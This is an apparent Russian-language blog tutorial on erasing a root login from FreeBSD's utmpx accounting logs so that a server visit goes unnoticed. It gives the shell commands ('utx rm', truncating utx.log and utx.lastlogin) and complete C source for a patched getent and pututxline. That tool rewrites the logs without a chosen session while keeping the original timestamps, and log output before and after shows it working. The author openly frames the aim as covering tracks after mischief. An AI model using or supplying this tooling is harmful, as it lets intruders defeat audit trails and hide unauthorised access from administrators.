А был ли who на сервере?
Тяпница… тринадцатое… всё важное решили оставить на понедельник, а потому сделаю какую-нибудь гадость…
В связи с появивишимся на хабре пересказом статьи решил немного отбалансировать данное руководство. Скрыть своё посещение, конечно, не совсем тривиально, но особых сложностей это не составляет.
Итак, задача:
Войти на сервер, выполнить некие действия и «подмести» за собой.
Здесь и далее считаем, что никаких дополнительных инструментов слежения (за исключением «по умолчанию») в системе не используется и мы знаем пароль root’a.
С чем работаем:
# uname -ori
FreeBSD 10.0-RELEASE GENERIC
# `echo $SHELL` --version
tcsh 6.18.01 (Astron)
Описываемое ниже несколько диссонирует с упоминаемой выше статьей, т.к. оная в первую очередь ориентирована на Linux-пользователей, но общие принципы теже и после перехода во FreeBSD (c 9.0) на хранение данных в utmpx родство стало ближе.
Поехали…
Данные о посещениях хранятся в 3 файлах:
Активные пользователи — /var/run/utx.active (заменил в 9.0 utmp)
Последние посещения — /var/log/utx.lastlogin (заменил lastlog)
Ну и полный лог — /var/log/utx.log (заменил wtmp)
И вот мы вошли:
# getent utmpx active
getent utmpx active
[1447261331.491910 -- Wed Nov 11 20:02:11 2015] system boot
[1437293217.427108 -- Sun Jul 19 11:06:57 2015] user process: id="3a873cda545eff7f" pid="1288" user="root" line="ttyv1" host=""
[1447311304.396008 -- Thu Nov 12 09:55:04 2015] user process: id="8084832f31000000" pid="4104" user="Alex" line="pts/1" host="10.3.1.15"
[1447410352.840653 -- Fri Nov 13 13:25:52 2015] user process: id="8084832f30000000" pid="14281" user="Alex" line="pts/0" host="108.182.182.209"
[1412600841.811588 -- Mon Oct 6 16:07:21 2014] user process: id="3962386266747064" pid="39819" user="swimmer" line="ftpd" host="10.34.1.23"
Считаем, что тот самый вход от которого желаем избавиться:
[1447410352.840653 -- Fri Nov 13 13:25:52 2015] user process: id="8084832f30000000" pid="14281" user="Alex" line="pts/0" host="108.182.182.209"
Т.к. наш текущий вход виден по
# who
who
root ttyv1 Jul 19 11:06
Alex pts/1 Nov 12 09:55 (10.3.1.15)
Alex pts/0 Nov 13 13:25 (108.182.182.209)
Начинаем с него
# utx rm 8084832f30000000
utx rm 8084832f30000000
Так лучше
# who
who
root ttyv1 Jul 19 11:06
Alex pts/1 Nov 12 09:55 (10.3.1.15)
# getent utmpx active
getent utmpx active
[1447261331.491910 -- Wed Nov 11 20:02:11 2015] system boot
[1437293217.427108 -- Sun Jul 19 11:06:57 2015] user process: id="3a873cda545eff7f" pid="1288" user="root" line="ttyv1" host=""
[1447311304.396008 -- Thu Nov 12 09:55:04 2015] user process: id="8084832f31000000" pid="4104" user="Alex" line="pts/1" host="10.3.1.15"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f30000000" pid="0"
[1412600841.811588 -- Mon Oct 6 16:07:21 2014] user process: id="3962386266747064" pid="39819" user="swimmer" line="ftpd" host="10.34.1.23"
Надо отметить, что это решение об удалении активной сессии не было идеальным и небольшой след о ней остался:
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f30000000" pid="0"
Как удалять «правильно» рассмотрим ниже.
Напакостив мы решаем покинуть систему
Что же осталось в логах
getent
# getent utmpx lastlogin
getent utmpx lastlogin
[1437293217.427108 -- Sun Jul 19 11:06:57 2015] user process: id="3a873cda545eff7f" pid="1288" user="root" line="ttyv1" host=""
[1447410352.840653 -- Fri Nov 13 13:25:52 2015] user process: id="8084832f30000000" pid="14281" user="Alex" line="pts/0" host="108.182.182.209"
[1412600841.811588 -- Mon Oct 6 16:07:21 2014] user process: id="3962386266747064" pid="39819" user="swimmer" line="ftpd" host="10.34.1.23"
# getent utmpx log
getent utmpx log
[1446494176.682516 -- Mon Nov 2 22:56:16 2015] user process: id="8084832f32000000" pid="72946" user="Alex" line="pts/2" host="108.182.182.209"
[1446498691.474026 -- Tue Nov 3 00:11:31 2015] dead process: id="8084832f31000000" pid="61263"
[1446614492.857275 -- Wed Nov 4 08:21:32 2015] user process: id="8084832f31000000" pid="79491" user="Alex" line="pts/1" host="30.205.96.92"
[1446614507.736041 -- Wed Nov 4 08:21:47 2015] dead process: id="8084832f31000000" pid="79491"
[1446698146.439426 -- Thu Nov 5 07:35:46 2015] user process: id="8084832f31000000" pid="83858" user="Alex" line="pts/1" host="30.205.116.124"
[1446706228.892627 -- Thu Nov 5 09:50:28 2015] dead process: id="8084832f31000000" pid="83858"
[1446710834.014993 -- Thu Nov 5 11:07:14 2015] system shutdown
[1446710906.311914 -- Thu Nov 5 11:08:26 2015] system boot
[1446710938.817058 -- Thu Nov 5 11:08:58 2015] user process: id="8084832f30000000" pid="1313" user="Alex" line="pts/0" host="10.3.1.15"
[1446721174.063221 -- Thu Nov 5 13:59:34 2015] user process: id="8084832f31000000" pid="1789" user="Alex" line="pts/1" host="108.182.182.209"
[1446815955.085182 -- Fri Nov 6 16:19:15 2015] dead process: id="8084832f30000000" pid="1313"
[1446906334.551710 -- Sat Nov 7 17:25:34 2015] user process: id="8084832f30000000" pid="11580" user="Alex" line="pts/0" host="108.182.182.209"
[1446912588.809728 -- Sat Nov 7 19:09:48 2015] dead process: id="8084832f31000000" pid="1789"
[1447045707.708080 -- Mon Nov 9 08:08:27 2015] user process: id="8084832f31000000" pid="19008" user="Alex" line="pts/1" host="mm-21-205-84-93.dynamic.pppoe.mgts.ru"
[1447045911.315244 -- Mon Nov 9 08:11:51 2015] dead process: id="8084832f31000000" pid="19008"
[1447052181.641530 -- Mon Nov 9 09:56:21 2015] user process: id="8084832f31000000" pid="19314" user="Alex" line="pts/1" host="10.3.1.15"
[1447131335.768107 -- Tue Nov 10 07:55:35 2015] user process: id="8084832f33000000" pid="23441" user="Alex" line="pts/3" host="30.205.98.54"
[1447133646.400779 -- Tue Nov 10 08:34:06 2015] dead process: id="8084832f33000000" pid="23441"
[1447261331.491910 -- Wed Nov 11 20:02:11 2015] system boot
[1447263839.850262 -- Wed Nov 11 20:43:59 2015] user process: id="8084832f30000000" pid="1422" user="Alex" line="pts/0" host="10.3.1.15"
[1447267906.123055 -- Wed Nov 11 21:51:46 2015] user process: id="8084832f31000000" pid="1644" user="Alex" line="pts/1" host="10.3.1.15"
[1447271644.777315 -- Wed Nov 11 22:54:04 2015] dead process: id="8084832f30000000" pid="1422"
[1447275711.000315 -- Thu Nov 12 00:01:51 2015] dead process: id="8084832f31000000" pid="1644"
[1447303224.172811 -- Thu Nov 12 07:40:24 2015] user process: id="8084832f30000000" pid="3685" user="Alex" line="pts/0" host="30.205.135.101"
[1447305113.718172 -- Thu Nov 12 08:11:53 2015] dead process: id="8084832f30000000" pid="3685"
[1447309547.097136 -- Thu Nov 12 09:25:47 2015] user process: id="8084832f30000000" pid="4018" user="Alex" line="pts/0" host="108.182.182.209"
[1447311304.396008 -- Thu Nov 12 09:55:04 2015] user process: id="8084832f31000000" pid="4104" user="Alex" line="pts/1" host="10.3.1.15"
[1447316907.634554 -- Thu Nov 12 11:28:27 2015] user process: id="8084832f32000000" pid="4373" user="Alex" line="pts/2" host="108.182.182.209"
[1447322795.387121 -- Thu Nov 12 13:06:35 2015] dead process: id="8084832f30000000" pid="4018"
[1447410352.840653 -- Fri Nov 13 13:25:52 2015] user process: id="8084832f30000000" pid="14281" user="Alex" line="pts/0" host="108.182.182.209"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f30000000" pid="0"
Все эти данные хранятся в бинарном виде в utmpx стуктурах. Таким образом, чтобы удалить информацию о посещении необходимо:
— либо удалить сами файлы с логами;
— либо забить их нулями в hex-редакторе;
— либо отредактировать бинарный лог удалив из него запись о нашем посещении;
Два первых способа, конечно, удалят данные о посещении, но дадут понять внимательному админу, что дело нечисто. Чтож пойдём самым сложным путём.
Стуктура utmpx представвляет собой
struct utmpx {
short ut_type; /* Type of entry. */
struct timeval ut_tv; /* Time entry was made. */
char ut_id[]; /* Record identifier. */
pid_t ut_pid; /* Process ID. */
char ut_user[]; /* User login name. */
char ut_line[]; /* Device name. */
char ut_host[]; /* Remote hostname. */
};
При работе с accounting базами данной структурой оперируют endutxent, getutxent, getutxid, getutxline, getutxuser, pututxline, setutxdb, setutxent.
Нас интересуют две функции:
getutxent — получает данные из базы в виде utmpx
pututxline — делает запись в базу
Пробежимся по базе, считаем все данные и создадим новую копию базы исключив из неё наши посещения?
while ((ut = getutxent()) != NULL)
{
utmpxprint(ut);
if(ut->ut_pid != 14281) pututxline(ut);
}
И тут нас ожидает большой УПС:
УПС
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f32000000" pid="72946" user="Alex" line="pts/2" host="108.182.182.209"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f31000000" pid="61263"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f31000000" pid="79491" user="Alex" line="pts/1" host="30.205.96.92"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f31000000" pid="79491"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f31000000" pid="83858" user="Alex" line="pts/1" host="30.205.116.124"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f31000000" pid="83858"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] system shutdown
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] system boot
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f30000000" pid="1313" user="Alex" line="pts/0" host="10.3.1.15"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f31000000" pid="1789" user="Alex" line="pts/1" host="108.182.182.209"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f30000000" pid="1313"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f30000000" pid="11580" user="Alex" line="pts/0" host="108.182.182.209"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f31000000" pid="1789"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f31000000" pid="19008" user="Alex" line="pts/1" host="mm-21-205-84-93.dynamic.pppoe.mgts.ru"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f31000000" pid="19008"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f31000000" pid="19314" user="Alex" line="pts/1" host="10.3.1.15"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f33000000" pid="23441" user="Alex" line="pts/3" host="30.205.98.54"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f33000000" pid="23441"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] system boot
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f30000000" pid="1422" user="Alex" line="pts/0" host="10.3.1.15"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f31000000" pid="1644" user="Alex" line="pts/1" host="10.3.1.15"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f30000000" pid="1422"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f31000000" pid="1644"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f30000000" pid="3685" user="Alex" line="pts/0" host="30.205.135.101"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f30000000" pid="3685"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f30000000" pid="4018" user="Alex" line="pts/0" host="108.182.182.209"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f31000000" pid="4104" user="Alex" line="pts/1" host="10.3.1.15"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f32000000" pid="4373" user="Alex" line="pts/2" host="108.182.182.209"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f30000000" pid="4018"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f30000000" pid="0"
Запись 14281 исчезла, но все записи внеслись в целевую базу с текущим системным временем!
Почему же так происходит?
Идём в исходники pututxline.c
и видим:
struct utmpx *
pututxline(const struct utmpx *utmpx)
{
struct futx fu;
...
utx_to_futx(utmpx, &fu);
...
bad |= utx_log_add(&fu);
...
}
т.е. перед записью наша структура utmpx преобразуется в некую futx (зачем непонятно т.к. структура ничем существенным не отличается, подозреваю, что «память» о прошлых форматах)
Самое интересное происходит при преобразовании параметра времени
utmpx ut_tv в futx fu_tv
#define UTOF_TV(fu) do { \
struct timeval tv; \
gettimeofday(&tv, NULL); \
(fu)->fu_tv = htobe64((uint64_t)tv.tv_sec * 1000000 + \
(uint64_t)tv.tv_usec); \
} while (0)
gettimeofday (&tv, NULL); — ЗАЧЕМ?!, если я передаю в качестве аргумента уже заполненную временем стурктуру?
Приводим к надлежащему виду:
#define UTOF_TV(ut, fu) do { \
(fu)->fu_tv = htobe64((uint64_t)(ut)->ut_tv.tv_sec * 1000000 + \
(uint64_t)(ut)->ut_tv.tv_usec); \
} while (0)
Листинги того что получилось ниже:
getent.c
#include
__FBSDID("$FreeBSD: getent editor v 0.0.a $");
#include
#include
#include
#include
#include
#include
#include /* for INET6_ADDRSTRLEN */
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "utmpx.h"
#include "pututxline.c"
static int usage(void);
static int parsenum(const char *, unsigned long *);
static int utmpx(int, char *[]);
enum {
RV_OK = 0,
RV_USAGE = 1,
RV_NOTFOUND = 2,
RV_NOENUM = 3
};
static struct getentdb {
const char *name;
int (*callback)(int, char *[]);
} databases[] = {
{ "utmpx", utmpx, },
{ NULL, NULL, },
};
int
main(int argc, char *argv[])
{
struct getentdb *curdb;
setprogname(argv[0]);
if (argc < 2)
usage();
for (curdb = databases; curdb->name != NULL; curdb++) {
if (strcmp(curdb->name, argv[1]) == 0) {
exit(curdb->callback(argc, argv));
}
}
fprintf(stderr, "Unknown database: %s\n", argv[1]);
usage();
/* NOTREACHED */
return RV_USAGE;
}
static int
usage(void)
{
struct getentdb *curdb;
fprintf(stderr, "Usage: %s database [key ...]\n",
getprogname());
fprintf(stderr, " database may be one of:\n\t");
for (curdb = databases; curdb->name != NULL; curdb++) {
fprintf(stderr, " %s", curdb->name);
}
fprintf(stderr, "\n");
exit(RV_USAGE);
/* NOTREACHED */
}
/*
* printfmtstrings --
* vprintf(format, ...),
* then the aliases (beginning with prefix, separated by sep),
* then a newline
*/
static void
printfmtstrings(char *strings[], const char *prefix, const char *sep,
const char *fmt, ...)
{
va_list ap;
const char *curpref;
int i;
va_start(ap, fmt);
vprintf(fmt, ap);
curpref = prefix;
for (i = 0; strings[i] != NULL; i++) {
printf("%s%s", curpref, strings[i]);
curpref = sep;
}
printf("\n");
va_end(ap);
}
/*
* utmpx
*/
#define UTMPXPRINTID do { \
size_t i; \
for (i = 0; i < sizeof ut->ut_id; i++) \
printf("%02hhx", ut->ut_id[i]); \
} while (0)
static void
utmpxprint(const struct utmpx *ut)
{
if (ut->ut_type == EMPTY)
return;
printf("[%jd.%06u -- %.24s] ",
(intmax_t)ut->ut_tv.tv_sec, (unsigned int)ut->ut_tv.tv_usec,
ctime(&ut->ut_tv.tv_sec));
switch (ut->ut_type) {
case BOOT_TIME:
printf("system boot\n");
return;
case SHUTDOWN_TIME:
printf("system shutdown\n");
return;
case OLD_TIME:
printf("old system time\n");
return;
case NEW_TIME:
printf("new system time\n");
return;
case USER_PROCESS:
printf("user process: id=\"");
UTMPXPRINTID;
printf("\" pid=\"%d\" user=\"%s\" line=\"%s\" host=\"%s\"\n",
ut->ut_pid, ut->ut_user, ut->ut_line, ut->ut_host);
break;
case INIT_PROCESS:
printf("init process: id=\"");
UTMPXPRINTID;
printf("\" pid=\"%d\"\n", ut->ut_pid);
break;
case LOGIN_PROCESS:
printf("login process: id=\"");
UTMPXPRINTID;
printf("\" pid=\"%d\" user=\"%s\" line=\"%s\" host=\"%s\"\n",
ut->ut_pid, ut->ut_user, ut->ut_line, ut->ut_host);
break;
case DEAD_PROCESS:
printf("dead process: id=\"");
UTMPXPRINTID;
printf("\" pid=\"%d\"\n", ut->ut_pid);
break;
default:
printf("unknown record type %hu\n", ut->ut_type);
break;
}
}
static int
utmpx(int argc, char *argv[])
{
//const struct utmpx *ut;
struct utmpx *ut;
const char *file = NULL;
int rv = RV_OK, db = 0;
assert(argc > 1);
assert(argv != NULL);
if (argc == 3 || argc == 4 || argc == 5) {
if (strcmp(argv[2], "active") == 0)
db = UTXDB_ACTIVE;
else if (strcmp(argv[2], "lastlogin") == 0)
db = UTXDB_LASTLOGIN;
else if (strcmp(argv[2], "log") == 0)
db = UTXDB_LOG;
else
rv = RV_USAGE;
if (argc == 4 || argc == 5)
file = argv[3];
} else {
rv = RV_USAGE;
}
if (rv == RV_USAGE) {
fprintf(stderr,
"Usage: %s utmpx active | lastlogin | log [filename]\n",
getprogname());
} else if (rv == RV_OK) {
if (setutxdb(db, file) != 0)
return (RV_NOTFOUND);
int ires = 0;
printf("UTXDB_LOG result: [%d]\n", ires);
if(argc == 5)
{
while ((ut = getutxent()) != NULL)
{
utmpxprint(ut);
//if(strcmp(ut->ut_host, "10.34.1.155") != 0)
//if(ut->ut_pid != 4373)
if(ut->ut_pid != atoi(argv[4]))
{
pututxline(ut);
}
}
}
else puts("ut_pid(argv[4]) needed!..");
endutxent();
}
return (rv);
}
pututxline.c
#include
__FBSDID("$FreeBSD: pututxline.c v 0.0.a $");
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "/usr/src/lib/libc/include/namespace.h"
#include "/usr/src/lib/libc/gen/utxdb.h"
#include "/usr/src/lib/libc/include/un-namespace.h"
//-----------------------------------------------------------------------------
#include
#include
#include
//-----------------------------------------------------------------------------
#define UTOF_STRING(ut, fu, field) do { \
strncpy((fu)->fu_ ## field, (ut)->ut_ ## field, \
MIN(sizeof (fu)->fu_ ## field, sizeof (ut)->ut_ ## field)); \
} while (0)
#define UTOF_ID(ut, fu) do { \
memcpy((fu)->fu_id, (ut)->ut_id, \
MIN(sizeof (fu)->fu_id, sizeof (ut)->ut_id)); \
} while (0)
#define UTOF_PID(ut, fu) do { \
(fu)->fu_pid = htobe32((ut)->ut_pid); \
} while (0)
#define UTOF_TYPE(ut, fu) do { \
(fu)->fu_type = (ut)->ut_type; \
} while (0)
#define UTOF_TV(ut, fu) do { \
(fu)->fu_tv = htobe64((uint64_t)(ut)->ut_tv.tv_sec * 1000000 + \
(uint64_t)(ut)->ut_tv.tv_usec); \
} while (0)
//-----------------------------------------------------------------------------
void
utx_to_futx(const struct utmpx *ut, struct futx *fu)
{
memset(fu, 0, sizeof *fu);
switch (ut->ut_type) {
case BOOT_TIME:
case OLD_TIME:
case NEW_TIME:
/* Extension: shutdown time. */
case SHUTDOWN_TIME:
break;
case USER_PROCESS:
UTOF_ID(ut, fu);
UTOF_STRING(ut, fu, user);
UTOF_STRING(ut, fu, line);
/* Extension: host name. */
UTOF_STRING(ut, fu, host);
UTOF_PID(ut, fu);
break;
case INIT_PROCESS:
UTOF_ID(ut, fu);
UTOF_PID(ut, fu);
break;
case LOGIN_PROCESS:
UTOF_ID(ut, fu);
UTOF_STRING(ut, fu, user);
UTOF_STRING(ut, fu, line);
UTOF_PID(ut, fu);
break;
case DEAD_PROCESS:
UTOF_ID(ut, fu);
UTOF_PID(ut, fu);
break;
default:
fu->fu_type = EMPTY;
return;
}
UTOF_TYPE(ut, fu);
UTOF_TV(ut, fu);
//UTOF_TV(ut, fu);
}
//-----------------------------------------------------------------------------
#define FTOU_STRING(fu, ut, field) do { \
strncpy((ut)->ut_ ## field, (fu)->fu_ ## field, \
MIN(sizeof (ut)->ut_ ## field - 1, sizeof (fu)->fu_ ## field)); \
} while (0)
#define FTOU_ID(fu, ut) do { \
memcpy((ut)->ut_id, (fu)->fu_id, \
MIN(sizeof (ut)->ut_id, sizeof (fu)->fu_id)); \
} while (0)
#define FTOU_PID(fu, ut) do { \
(ut)->ut_pid = be32toh((fu)->fu_pid); \
} while (0)
#define FTOU_TYPE(fu, ut) do { \
(ut)->ut_type = (fu)->fu_type; \
} while (0)
#define FTOU_TV(fu, ut) do { \
uint64_t t; \
t = be64toh((fu)->fu_tv); \
(ut)->ut_tv.tv_sec = t / 1000000; \
(ut)->ut_tv.tv_usec = t % 1000000; \
} while (0)
//-----------------------------------------------------------------------------
struct utmpx *
futx_to_utx(const struct futx *fu)
{
#ifdef __NO_TLS
static struct utmpx *ut;
#else
static _Thread_local struct utmpx *ut;
#endif
if (ut == NULL) {
ut = calloc(1, sizeof *ut);
if (ut == NULL)
return (NULL);
} else
memset(ut, 0, sizeof *ut);
switch (fu->fu_type) {
case BOOT_TIME:
case OLD_TIME:
case NEW_TIME:
/* Extension: shutdown time. */
case SHUTDOWN_TIME:
break;
case USER_PROCESS:
FTOU_ID(fu, ut);
FTOU_STRING(fu, ut, user);
FTOU_STRING(fu, ut, line);
/* Extension: host name. */
FTOU_STRING(fu, ut, host);
FTOU_PID(fu, ut);
break;
case INIT_PROCESS:
FTOU_ID(fu, ut);
FTOU_PID(fu, ut);
break;
case LOGIN_PROCESS:
FTOU_ID(fu, ut);
FTOU_STRING(fu, ut, user);
FTOU_STRING(fu, ut, line);
FTOU_PID(fu, ut);
break;
case DEAD_PROCESS:
FTOU_ID(fu, ut);
FTOU_PID(fu, ut);
break;
default:
ut->ut_type = EMPTY;
return (ut);
}
FTOU_TYPE(fu, ut);
FTOU_TV(fu, ut);
return (ut);
}
//-----------------------------------------------------------------------------
static FILE *
futx_open(const char *file)
{
FILE *fp;
struct stat sb;
int fd;
fd = open(file, O_CREAT|O_RDWR|O_EXLOCK|O_CLOEXEC, 0644);
if (fd < 0)
return (NULL);
/* Safety check: never use broken files. */
if (fstat(fd, &sb) != -1 && sb.st_size % sizeof(struct futx) != 0) {
close(fd);
errno = EFTYPE;
return (NULL);
}
fp = fdopen(fd, "r+");
if (fp == NULL) {
close(fd);
return (NULL);
}
return (fp);
}
static int
utx_active_add(const struct futx *fu)
{
FILE *fp;
struct futx fe;
off_t partial;
int error, ret;
partial = -1;
ret = 0;
/*
* Register user login sessions. Overwrite entries of sessions
* that have already been terminated.
*/
fp = futx_open(_PATH_UTX_ACTIVE);
if (fp == NULL)
return (-1);
while (fread(&fe, sizeof(fe), 1, fp) == 1) {
switch (fe.fu_type) {
case BOOT_TIME:
/* Leave these intact. */
break;
case USER_PROCESS:
case INIT_PROCESS:
case LOGIN_PROCESS:
case DEAD_PROCESS:
/* Overwrite when ut_id matches. */
if (memcmp(fu->fu_id, fe.fu_id, sizeof(fe.fu_id)) ==
0) {
ret = fseeko(fp, -(off_t)sizeof(fe), SEEK_CUR);
goto exact;
}
if (fe.fu_type != DEAD_PROCESS)
break;
/* FALLTHROUGH */
default:
/* Allow us to overwrite unused records. */
if (partial == -1) {
partial = ftello(fp);
/*
* Distinguish errors from valid values so we
* don't overwrite good data by accident.
*/
if (partial != -1)
partial -= (off_t)sizeof(fe);
}
break;
}
}
/*
* No exact match found. Use the partial match. If no partial
* match was found, just append a new record.
*/
if (partial != -1)
ret = fseeko(fp, partial, SEEK_SET);
exact:
if (ret == -1)
error = errno;
else if (fwrite(fu, sizeof(*fu), 1, fp) < 1)
error = errno;
else
error = 0;
fclose(fp);
if (error != 0)
errno = error;
return (error == 0 ? 0 : 1);
}
static int
utx_active_remove(struct futx *fu)
{
FILE *fp;
struct futx fe;
int error, ret;
/*
* Remove user login sessions, having the same ut_id.
*/
fp = futx_open(_PATH_UTX_ACTIVE);
if (fp == NULL)
return (-1);
error = ESRCH;
ret = -1;
while (fread(&fe, sizeof(fe), 1, fp) == 1 && ret != 0)
switch (fe.fu_type) {
case USER_PROCESS:
case INIT_PROCESS:
case LOGIN_PROCESS:
if (memcmp(fu->fu_id, fe.fu_id, sizeof(fe.fu_id)) != 0)
continue;
/* Terminate session. */
if (fseeko(fp, -(off_t)sizeof(fe), SEEK_CUR) == -1)
error = errno;
else if (fwrite(fu, sizeof(*fu), 1, fp) < 1)
error = errno;
else
ret = 0;
}
fclose(fp);
if (ret != 0)
errno = error;
return (ret);
}
static void
utx_active_init(const struct futx *fu)
{
int fd;
/* Initialize utx.active with a single BOOT_TIME record. */
fd = open(_PATH_UTX_ACTIVE, O_CREAT|O_RDWR|O_TRUNC, 0644);
if (fd < 0)
return;
write(fd, fu, sizeof(*fu));
close(fd);
}
static void
utx_active_purge(void)
{
truncate(_PATH_UTX_ACTIVE, 0);
}
static int
utx_lastlogin_add(const struct futx *fu)
{
struct futx fe;
FILE *fp;
int error, ret;
ret = 0;
/*
* Write an entry to lastlogin. Overwrite the entry if the
* current user already has an entry. If not, append a new
* entry.
*/
fp = futx_open(_PATH_UTX_LASTLOGIN);
if (fp == NULL)
return (-1);
while (fread(&fe, sizeof fe, 1, fp) == 1) {
if (strncmp(fu->fu_user, fe.fu_user, sizeof fe.fu_user) != 0)
continue;
/* Found a previous lastlogin entry for this user. */
ret = fseeko(fp, -(off_t)sizeof fe, SEEK_CUR);
break;
}
if (ret == -1)
error = errno;
else if (fwrite(fu, sizeof *fu, 1, fp) < 1) {
error = errno;
ret = -1;
}
fclose(fp);
if (ret == -1)
errno = error;
return (ret);
}
static void
utx_lastlogin_upgrade(void)
{
struct stat sb;
int fd;
fd = open(_PATH_UTX_LASTLOGIN, O_RDWR|O_CLOEXEC, 0644);
if (fd < 0)
return;
/*
* Truncate broken lastlogin files. In the future we should
* check for older versions of the file format here and try to
* upgrade it.
*/
if (fstat(fd, &sb) != -1 && sb.st_size % sizeof(struct futx) != 0)
ftruncate(fd, 0);
close(fd);
}
static int
utx_log_add(const struct futx *fu)
{
struct iovec vec[2];
int error, fd;
uint16_t l;
/*
* Append an entry to the log file. We only need to append
* records to this file, so to conserve space, trim any trailing
* zero-bytes. Prepend a length field, indicating the length of
* the record, excluding the length field itself.
*/
for (l = sizeof(*fu); l > 0 && ((const char *)fu)[l - 1] == '\0'; l--) ;
vec[0].iov_base = &l;
vec[0].iov_len = sizeof(l);
vec[1].iov_base = __DECONST(void *, fu);
vec[1].iov_len = l;
l = htobe16(l);
fd = open(_PATH_UTX_LOG, O_CREAT|O_WRONLY|O_APPEND|O_CLOEXEC, 0644);
if (fd < 0)
return (-1);
if (writev(fd, vec, 2) == -1)
error = errno;
else
error = 0;
close(fd);
if (error != 0)
errno = error;
return (error == 0 ? 0 : 1);
}
struct utmpx *
pututxline(const struct utmpx *utmpx)
{
struct futx fu;
int bad;
bad = 0;
utx_to_futx(utmpx, &fu);
switch (fu.fu_type) {
case BOOT_TIME:
utx_active_init(&fu);
utx_lastlogin_upgrade();
break;
case SHUTDOWN_TIME:
utx_active_purge();
break;
case OLD_TIME:
case NEW_TIME:
break;
case USER_PROCESS:
bad |= utx_active_add(&fu);
bad |= utx_lastlogin_add(&fu);
break;
#if 0 /* XXX: Are these records of any use to us? */
case INIT_PROCESS:
case LOGIN_PROCESS:
bad |= utx_active_add(&fu);
break;
#endif
case DEAD_PROCESS:
/*
* In case writing a logout entry fails, never attempt
* to write it to utx.log. The logout entry's ut_id
* might be invalid.
*/
if (utx_active_remove(&fu) != 0)
return (NULL);
break;
default:
errno = EINVAL;
return (NULL);
}
bad |= utx_log_add(&fu);
return (bad ? NULL : futx_to_utx(&fu));
}
Собираем
# clang getent.c -o gtnt
Копируем базы и очищаем место для записи
# cp /var/log/utx.* /tmp/
# echo -n > /var/log/utx.log
# echo -n > /var/log/utx.lastlogin
удаляем записи
# ./gtnt utmpx lastlogin /tmp/utx.lastlogin 14281
# ./gtnt utmpx log /tmp/utx.log 14281
Результаты
# getent utmpx lastlogin
getent utmpx lastlogin
[1437293217.427108 -- Sun Jul 19 11:06:57 2015] user process: id="3a873cda545eff7f" pid="1288" user="root" line="ttyv1" host=""
[1447316907.634554 -- Thu Nov 12 11:28:27 2015] user process: id="8084832f32000000" pid="4373" user="Alex" line="pts/2" host="108.182.182.209"
[1412600841.811588 -- Mon Oct 6 16:07:21 2014] user process: id="3962386266747064" pid="39819" user="swimmer" line="ftpd" host="10.34.1.23"
# getent utmpx log
getent utmpx log
[1446494176.682516 -- Mon Nov 2 22:56:16 2015] user process: id="8084832f32000000" pid="72946" user="Alex" line="pts/2" host="108.182.182.209"
[1446498691.474026 -- Tue Nov 3 00:11:31 2015] dead process: id="8084832f31000000" pid="61263"
[1446614492.857275 -- Wed Nov 4 08:21:32 2015] user process: id="8084832f31000000" pid="79491" user="Alex" line="pts/1" host="30.205.96.92"
[1446614507.736041 -- Wed Nov 4 08:21:47 2015] dead process: id="8084832f31000000" pid="79491"
[1446698146.439426 -- Thu Nov 5 07:35:46 2015] user process: id="8084832f31000000" pid="83858" user="Alex" line="pts/1" host="30.205.116.124"
[1446706228.892627 -- Thu Nov 5 09:50:28 2015] dead process: id="8084832f31000000" pid="83858"
[1446710834.014993 -- Thu Nov 5 11:07:14 2015] system shutdown
[1446710906.311914 -- Thu Nov 5 11:08:26 2015] system boot
[1446710938.817058 -- Thu Nov 5 11:08:58 2015] user process: id="8084832f30000000" pid="1313" user="Alex" line="pts/0" host="10.3.1.15"
[1446721174.063221 -- Thu Nov 5 13:59:34 2015] user process: id="8084832f31000000" pid="1789" user="Alex" line="pts/1" host="108.182.182.209"
[1446815955.085182 -- Fri Nov 6 16:19:15 2015] dead process: id="8084832f30000000" pid="1313"
[1446906334.551710 -- Sat Nov 7 17:25:34 2015] user process: id="8084832f30000000" pid="11580" user="Alex" line="pts/0" host="108.182.182.209"
[1446912588.809728 -- Sat Nov 7 19:09:48 2015] dead process: id="8084832f31000000" pid="1789"
